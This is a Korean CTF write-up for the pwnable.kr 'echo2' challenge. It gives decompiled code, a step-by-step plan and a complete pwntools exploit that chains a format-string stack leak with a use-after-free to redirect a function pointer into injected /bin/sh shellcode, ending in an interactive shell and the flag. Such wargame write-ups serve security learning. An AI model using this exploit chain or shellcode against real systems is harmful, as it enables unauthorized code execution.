콘텐츠로 건너뛰기

echo2

Description

Pwn this echo service.

download : http://pwnable.kr/bin/echo2

Running at : nc pwnable.kr 9011

checksec

ubuntu@wh1te4ever-main:~/Desktop/pwnable.kr-CTF/echo2$ checksec ./echo2
[*] '/home/ubuntu/Desktop/pwnable.kr-CTF/echo2/echo2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

Decompiled-src

main

int __fastcall main(int argc, const char **argv, const char **envp)
{
  _QWORD *v3; // rax
  unsigned int i; // [rsp+Ch] [rbp-24h] BYREF
  __int64 v6[4]; // [rsp+10h] [rbp-20h] BYREF

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  o = malloc(0x28uLL);
  *((_QWORD *)o + 3) = greetings;
  *((_QWORD *)o + 4) = byebye;
  printf("hey, what's your name? : ");
  __isoc99_scanf("%24s", v6);
  v3 = o;
  *(_QWORD *)o = v6[0];
  v3[1] = v6[1];
  v3[2] = v6[2];
  id = v6[0];
  getchar();
  func[0] = (__int64)echo1;
  qword_602088 = (__int64)echo2;
  qword_602090 = (__int64)echo3;
  for ( i = 0; i != 121; i = getchar() )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        puts("\n- select echo type -");
        puts("- 1. : BOF echo");
        puts("- 2. : FSB echo");
        puts("- 3. : UAF echo");
        puts("- 4. : exit");
        printf("> ");
        __isoc99_scanf("%d", &i);
        getchar();
        if ( i > 3 )
          break;
        ((void (*)(void))func[i - 1])();
      }
      if ( i == 4 )
        break;
      puts("invalid menu");
    }
    cleanup();
    printf("Are you sure you want to exit? (y/n)");
  }
  puts("bye");
  return 0;
}

echo1

int echo1()
{
  return puts("not supported");
}

echo2

__int64 echo2()
{
  char format[32]; // [rsp+0h] [rbp-20h] BYREF

  (*((void (__fastcall **)(void *))o + 3))(o);
  get_input(format, 32LL);
  printf(format);
  (*((void (__fastcall **)(void *))o + 4))(o);
  return 0LL;
}

echo3

__int64 echo3()
{
  char *s; // [rsp+8h] [rbp-8h]

  (*((void (__fastcall **)(void *))o + 3))(o);
  s = (char *)malloc(32uLL);
  get_input(s, 32LL);
  puts(s);
  free(s);
  (*((void (__fastcall **)(void *))o + 4))(o);
  return 0LL;
}

cleanup

void cleanup()
{
  free(o);
}

Solution

1. main 함수의 v6 지역변수에 쉘코드 삽입

2. echo2 함수를 통해 스택 주소를 leak하여 main 함수의 v6 지역변수의 주소값 획득

3. (여기서부터 UAF trigger 시작) cleanup 함수를 통해 main 함수의 o 변수를 free

4. echo3 함수를 통해 o 변수에 있던 메모리 주소를 다시한번 더 use하여,
greetings 함수주소가 적힌 주소에다가 아까 leak하여 획득하면서 획득했던 v6 지역변수의 주소값으로 덮어쓴다.

5. 이제 greetings 함수는 더이상 호출되지 않고 쉘코드가 실행된다.

from pwn import *
#context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')

p = remote("pwnable.kr", 9011)
#p = process("./echo2")
e = ELF('./echo2', checksec=False)

# https://systemoverlord.com/2016/04/27/even-shorter-shellcode.html
shellcode = b'\x31\xF6\x56\x48\xBB\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x53\x54\x5F\xF7\xEE\xB0\x3B\x0F\x05'
p.sendlineafter(b"hey, what's your name? : ", shellcode)

p.sendlineafter(b"> ", b"2")
p.sendline(b'%9$p')
p.recvline()
leaked_stack = p.recvline().split(b'\n')[0]
leaked_stack = int(leaked_stack, 16)
success(f"leaked_stack: {hex(leaked_stack)}")

p.sendline(b"4")
p.sendline(b"n")

p.sendlineafter(b"> ", b"3")
p.sendline(b'C'*24 + p64(leaked_stack - 0x20))

p.interactive()

Result

ubuntu@wh1te4ever-main:~/Desktop/pwnable.kr-CTF/echo2$ python3 solve.py
[+] Opening connection to pwnable.kr on port 9011: Done
[+] leaked_stack: 0x7ffd8af398f0
[*] Switching to interactive mode
Are you sure you want to exit? (y/n)
- select echo type -
- 1. : BOF echo
- 2. : FSB echo
- 3. : UAF echo
- 4. : exit
> hello 
CCCCCCCCCCCCCCCCCCCCCCCCИ\xf3\x8a\xfd
goodbye 

- select echo type -
- 1. : BOF echo
- 2. : FSB echo
- 3. : UAF echo
- 4. : exit
> $ ls
echo2
flag
log
super.pl
$ cat flag
fun_with_UAF_and_FSB :)
$ 
[*] Interrupted
[*] Closed connection to pwnable.kr port 9011

답글 남기기